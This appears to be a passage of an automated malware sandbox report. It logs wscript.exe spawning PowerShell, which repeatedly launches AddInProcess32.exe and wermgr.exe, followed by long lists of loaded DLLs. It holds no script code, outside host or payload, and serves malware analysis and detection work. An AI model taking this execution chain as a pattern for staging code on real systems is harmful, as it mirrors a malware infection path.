Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5960" "2556" "2808" "2640" "0" "0" "2560" "0" "0" "0" "0" "0"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5264" "2560" "2180" "2464" "0" "0" "2640" "0" "0" "0" "0" "0"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2056" "2800" "2732" "2804" "0" "0" "2808" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3780" "2612" "2844" "2596" "0" "0" "2508" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5256" "2508" "2512" "2556" "0" "0" "2560" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5368" "2468" "2228" "2508" "0" "0" "2496" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6068" "2816" "2752" "2820" "0" "0" "2824" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1596" "2640" "2808" "2340" "0" "0" "2572" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4392" "2800" "2312" "2804" "0" "0" "2808" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6780" "2824" "2552" "2828" "0" "0" "2832" "0" "0" "0" "0" "0"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
